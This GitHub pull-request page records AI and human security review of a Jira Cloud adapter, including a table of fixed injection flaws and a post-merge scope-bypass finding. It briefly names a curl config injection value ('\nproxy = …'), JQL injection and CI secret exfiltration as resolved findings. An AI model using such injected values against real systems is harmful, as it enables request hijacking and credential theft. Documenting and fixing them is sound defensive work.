Merge commit b116507 — clean, no regressions

The merge pulled in 5 commits from main (standards/components sync). No files under plugins/work-items/ were touched. The diff between ca3aa2b and b116507 for the work-items directory is empty — all adapter files, tests, conformance bindings, and docs are identical to the last reviewed HEAD.


One nit — plugin.json description still omits jira

plugin.json:5

The description still reads "bundled dispatcher plus github and local-markdown adapters" after eleven commits. CHANGELOG, SKILL.md, CONTRACT.md, and README all name the jira adapter correctly.

I applied the fix locally (fix(work-items): mention jira adapter in plugin.json description) but was denied push access. @kyle-sexton please apply it:

Change: bundled dispatcher plus github and local-markdown adapters;bundled dispatcher plus github, local-markdown, and jira adapters;

Fix this →


Full security and correctness posture at HEAD — all substantive findings resolved

Every IMPORTANT, CRITICAL, and meaningful correctness finding from the twelve-commit, multi-pass review trail is confirmed addressed and unaffected by the merge:

Finding Commit Status
JQL injection — project keys + done-category keys 705590d/0ae80cc ✓ Allowlist-validated in jq element-by-element
project_keys scope as read/authorization boundary 0ae80cc wit_jira_project_in_scope gates both read paths
Non-array project_keys/done_category_keys 0ae80cc ✓ Type + length check at config load
WIT_JIRA_SITE curl config injection (\nproxy = …) dce959c ✓ Hostname regex + .atlassian.net deny-by-default
WIT_JIRA_AUTH_ENV indirect expansion crash / CI secret exfiltration dce959c ✓ Identifier regex before ${!WIT_JIRA_AUTH_ENV:-}
Empty done_category_keys: [] → invalid JQL dce959c ✓ Length check at config load
blocked_by_link_type empty/non-string → silent blocked_by_count: 0 a8260b7 ✓ Direct binding type discrimination
Key-array element validation — [""] and non-string elements d586ab6 ✓ Element validation in jq
2xx without issues array / issue object — silent empty envelope 161cf89 ✓ Shape checks exit EX_UNAVAILABLE in both verbs
done_category_keys: false silent default collapse 2ea1fbb has() presence read; false reaches type check → exit 3
Normalizer silent drop on unparsable issue key 1b58f34 keyparts raises jq error; both verbs exit EX_UNAVAILABLE
Spelling: unparseable → unparsable ca3aa2b ✓ Cosmetic only

The PR is in excellent shape. Once the plugin.json description is updated (one word), there are no outstanding findings.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 23s —— View job


Security Review — PR #857 (Jira Cloud adapter, HEAD b116507)

Tasks

  • Load tools
  • Get PR diff at HEAD (post-merge)
  • Read changed files at HEAD — audit any new content from the merge
  • Verify all prior security fixes are intact at HEAD
  • Check for any new attack surfaces introduced by the merge
  • Synthesize and post findings

What changed in b116507

The HEAD commit is a clean merge of origin/main into the feature branch (ca3aa2b9533a14, a standards-sync commit). The merge brought no conflicts and introduced no changes to any jira adapter file — the diff of the jira adapter directory between ca3aa2b and b116507 is empty. All security-relevant files are byte-for-byte identical to the ca3aa2b head confirmed clean in the prior review pass.


No security issues found at HEAD b116507

All IMPORTANT and CRITICAL findings from the full multi-pass review trail are confirmed resolved and intact. Key controls verified at HEAD:

Control Location Status
WIT_JIRA_SITE hostname allowlist + .atlassian.net deny-by-default common.sh:87–88, common.sh:181–184 ✓ intact
WIT_JIRA_AUTH_ENV identifier allowlist before ${!name} deref common.sh:91, common.sh:188–189 ✓ intact
JQL injection — element-level jq validation of project keys + done keys common.sh:203–206 ✓ intact
done_category_keys presence-based read (not //) to catch false/null common.sh:145–149 ✓ intact
blocked_by_link_type non-empty string check common.sh:195–196 ✓ intact
Normalizer failure → loud exit (keyparts // error(...)) common.sh:331–332 ✓ intact
Token fed via printf … | curl -K -, never in argv common.sh:269–270 ✓ intact
Project-key scope enforcement (wit_jira_project_in_scope) common.sh:229–231 ✓ intact
2xx without issues array → exit 8 list-items.sh:91–94 ✓ intact
Atomic page normalization with || exit check list-items.sh:102–107 ✓ intact
2xx non-issue-object shape check in get-item get-item.sh:41–44 ✓ intact

The PR is clean from a security standpoint. The merge is a no-op for the jira adapter. Every IMPORTANT and CRITICAL finding from the twelve-commit, multi-pass review trail has been addressed and remains addressed at this HEAD.

@kyle-sexton

Copy link
Copy Markdown
Contributor Author

Tower merge (overnight delegation, veto window open): A1 item, 23/23 green, 0 unresolved threads across 7 review rounds — every security/silent-wrong finding fixed on-branch (JQL-injection allowlist, credential-egress tenant guard, read-scope confinement, fail-loud normalization), consume-only enforced structurally, follow-up #852 filed for the pre-existing seam leak. This was generated by AI (control tower, session 6).

@kyle-sexton
kyle-sexton merged commit 316d4b6 into main Jul 21, 2026
23 checks passed
@kyle-sexton
kyle-sexton deleted the feat/379-jira-adapter branch July 21, 2026 17:33

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: b116507411

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +30 to +31
wit_jira_project_in_scope "$WIT_ID_REPO" ||
wit_usage_error "project '$WIT_ID_REPO' is not in the binding's config.jira.project_keys (declared read scope)"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Re-check project scope after Jira resolves moved keys

This check only scopes the requested ID before the fetch; with a moved Jira issue, an old in-scope key such as SW2-1 can resolve to a current key in an undeclared project, and the normalizer will emit and expose that returned issue. Fresh evidence: the Jira Cloud GET issue docs state that issueIdOrKey performs moved-issue lookup and returns the found issue's current key (https://developer.atlassian.com/cloud/jira/platform/rest/v3/api-group-issues/#api-rest-api-3-issue-issueidorkey-get). Validate the project parsed from the response .key against config.jira.project_keys before emitting it.

Useful? React with 👍 / 👎.

kyle-sexton added a commit that referenced this pull request Jul 21, 2026
#857 (Jira Cloud adapter) merged into main since this branch's last rebase,
bumping work-items to 0.19.0. Resolved the resulting conflict, keeping this
branch's 0.19.1 (already one past both the new main and #861's still-open
0.19.0 claim, so no further bump needed). Re-verified all 5 plugins fresh
against current main and every live open PR (#840 0.15.10, #844 0.17.2, #861
0.19.0): source-control 0.15.11, claude-ops 0.17.3, repo-hygiene 0.4.6, and
guardrails 0.9.6 all remain correct with no change required.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01K1V3gkrfSf75isB8MiDy3o
kyle-sexton added a commit that referenced this pull request Jul 21, 2026
Resolve the work-items version/CHANGELOG collision with #857 (Jira adapter),
which took work-items to 0.19.0 after this branch also claimed 0.19.0. Stack
this branch's pipeline-shape SSOT bump to 0.20.0 with its own CHANGELOG
section above #857's 0.19.0 (Jira adapter) entry; both entries preserved.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
kyle-sexton added a commit that referenced this pull request Jul 21, 2026
#844 (claude-ops) merged into main at exactly 0.17.4, which this branch's
prior 0.17.5 was already one past — kept as-is, no re-bump needed for the
number itself, just resolved the resulting plugin.json/CHANGELOG.md conflict.

Full fresh collision sweep after the merge found claude-ops now has NO open-PR
collision at all. It also found #861 (work-items) re-derived its own claim
from 0.19.0 to 0.20.0 since the last check (following #857's Jira-adapter
minor bump into main) — colliding with this branch's prior 0.19.1. Re-bumped
work-items to 0.20.1.

source-control (0.16.1, held behind #882's 0.16.0 and #840's 0.15.10),
repo-hygiene (0.4.6, no collision), and guardrails (0.9.6, no collision)
re-verified against current main and all live open PRs — unchanged.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01K1V3gkrfSf75isB8MiDy3o
kyle-sexton added a commit that referenced this pull request Jul 25, 2026
… as deliberate (#853)

## Summary

Closes the design fork raised in #820: whether the shell assert-helper
duplicated across
5 plugins (and the divergent per-script exit-code taxonomies alongside
it) should be
consolidated into a shared mechanism, or documented as deliberate. This
PR documents.

## Fix

- Adds `docs/conventions/shell-test-helpers/README.md` as the owner doc
explaining why the
duplication and divergence stay as-is, and registers it in
`docs/PLUGIN-PHILOSOPHY.md`'s
  convention registry table.
- Adds a one-line pointer comment at each copy site back to the owner
doc:
`guardrails/hooks/guardrails-test-helpers.sh`,
`claude-ops/hooks/claude-ops-test-helpers.sh`,
`source-control/scripts/test-helpers.sh`,
`repo-hygiene/skills/clean/scripts/lib/test-helpers.sh`,
  `work-items/tools/work-item-tracker/tests/lib.sh`.
- Adds the same kind of pointer to
`scripts/check-skill-portability.test.sh`, which opted out
for an unrelated reason (it's repo tooling, not a plugin, so no plugin
assertion library
applies) — noted so the fork's second observation isn't left
unexplained.
- Bumps `plugin.json` + adds a `CHANGELOG.md` entry for every plugin
whose helper file gained
the pointer comment. Each has been re-derived from current `main` many
times as sibling PRs
  merged or rebased mid-flight (see Related for the current picture):
  - `repo-hygiene`: 0.4.4→0.4.6
  - `source-control`: 0.15.7→0.16.1
  - `claude-ops`: 0.17.1→0.17.5
  - `work-items`: 0.18.1→0.20.1
  - `guardrails`: 0.9.5→0.9.6 (no open-PR collision at any point so far)

No behavior change anywhere — comments and docs only.

## Decision

**Chose Option B: document the per-plugin duplication and exit-code
divergence as deliberate.
No shared helper introduced.**

Investigation before deciding:

- This repo already has one sanctioned cross-plugin shared-source
mechanism: a canonical file
under `lib/` (e.g. `lib/hook-utils.sh`), copied — not imported — into
each carrying plugin by
a dedicated `scripts/sync-*.sh`, tracked in
`scripts/cross-plugin-source-registry.txt`, and
  drift-checked by `scripts/check-cross-plugin-source-drift.sh --check`.
- That mechanism is scoped to clusters meant to stay **byte-identical**.
Running
`check-cross-plugin-source-drift.sh discover` confirms it never even
flags the five
assert-helper files as a cluster candidate — they live at different
paths per plugin and
are not byte-identical, so they fall outside that mechanism's scope
entirely.
- Reading all five files: they are already three genuinely different
shapes, not one library
that drifted — a hook-contract shape (`guardrails`/`claude-ops`:
`ok`/`bad`, `PASS`/`FAIL`,
`make_sink`/`wait_for_sink`), a skill-script shape
(`source-control`/`repo-hygiene`: `pass`/`fail`,
`FAILED`/`CASE_NUM`, file-existence assertions), and a vendored-seam
shape (`work-items`: same
primitives, but owned by the seam itself so it stays correct wherever
the seam is resolved
  from, independent of this repo's tooling).
- Consolidating would mean designing a fourth, unified assertion API and
rewriting every
existing `*.test.sh` onto it — a bigger, riskier change than the
coupling it would remove,
and it would cross the plugin-independence boundary
`docs/PLUGIN-PHILOSOPHY.md`'s design
boundary section already draws (no plugin imports files from a sibling
plugin).
- Exit-code taxonomies (`remove-path.sh` 0/1/2/3/4,
`git-tree-reset-batch.sh` 0/1/2 forwarding
a child's 5/7, `check-skill-portability.sh` 0/1/2) encode genuinely
different per-script
contracts, not arbitrary numbering — each script already documents its
own `Exit:` line, and
a shared usage/exit helper would either flatten those contracts or grow
per-caller branching.
- Deferred, not rejected: `guardrails-test-helpers.sh` and
`claude-ops-test-helpers.sh` are the
one pair that already share a shape closely. If they converge to
byte-identical, vendoring
just that pair through the existing `lib/` + `sync-*.sh` + registry
mechanism is the smaller,
precedented move — recorded as the trigger in the owner doc rather than
acted on now.

## Verification

- `shellcheck` clean on all 6 edited shell files.
- Full `check-skill-portability.test.sh` suite: 16/16 pass.
- `check-cross-plugin-source-drift.sh --check`: no unregistered or
drifted clusters.
- `check-changelog-parity.sh --check`: passes with every version bump.
- Ran every `*.test.sh` that sources an edited helper
(repo-hygiene/clean, guardrails hooks,
claude-ops hooks, work-items adapters/lib) — all green, confirming the
comment-only edits
  changed no behavior.
- `markdownlint-cli2` and `lychee` clean on the new and modified docs.

## Related

- Scope note: issue #820's title says "disk-hygiene/clean", but
`disk-hygiene` is Python-only
(`hygiene.py`) with no shell assert-helper — the actual duplication
lives in the 5 plugins
the issue body names (repo-hygiene, source-control, guardrails,
claude-ops, work-items) plus
root `scripts/`. Treating the title as a triage typo (disk-hygiene vs.
repo-hygiene, both
"-hygiene" plugins with a `clean` skill) rather than touching
disk-hygiene.
- **`do-not-merge` held.** This session has had exceptionally heavy
concurrent-lane traffic
against these same 5 plugins — this PR has been rebased/re-derived nine
times as siblings
merged (#839, #826, #857, #877, #870, #844) or rebased in place (#840,
#882, #861, each more
than once). Current picture, last verified fresh at commit `e75e45ed`
(`mergeable: MERGEABLE`;
all 5 plugins re-checked against current `main` AND every live open PR):
- `repo-hygiene` (claims 0.4.6): no open-PR collision. Main is at 0.4.5.
- `source-control` (claims 0.16.1): held behind **#882**
(`fix/511-babysit-self-identity-decouple`,
claims 0.16.0, open) and **#840** (claims 0.15.10, open). Main is at
0.15.9.
- `claude-ops` (claims 0.17.5): **no open-PR collision anymore** — #844
(the PR this leg was
previously held behind) has merged, landing at exactly 0.17.4; this
claim stays one past it.
    Main is at 0.17.4.
- `work-items` (claims 0.20.1): held behind **#861**
(`feat/613-mini-sdlc-pipeline-ssot`). #861
itself has re-derived its claim twice as `main` moved — from 0.19.0 up
to 0.20.0 (following
#857's Jira-adapter minor bump into main) — so this PR's claim moved
from 0.19.1 to 0.20.1 to
    stay ahead. Main is at 0.19.0.
  - `guardrails` (claims 0.9.6): no open-PR collision. Main is at 0.9.5.
- This plugin set has produced a new collision within minutes of nearly
every prior check —
including siblings re-deriving their own claims upward more than once,
an unrelated PR
landing at the exact same version by coincidence, and legs clearing and
new ones opening.
Re-run the full collision protocol (`gh pr list --repo
melodic-software/claude-code-plugins
--state open --json number,headRefName,files` filtered per plugin, AND a
fresh diff of each
plugin's version on `main` since this PR's last rebase) immediately
before removing
    `do-not-merge` — do not trust this snapshot.

Closes #820

Work-class: C2 (mechanical) — attended triage 2026-07-23,
operator-ratified. 🤖

---------

Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

feat(work-items): Jira adapter for the work-item-tracker seam

1 participant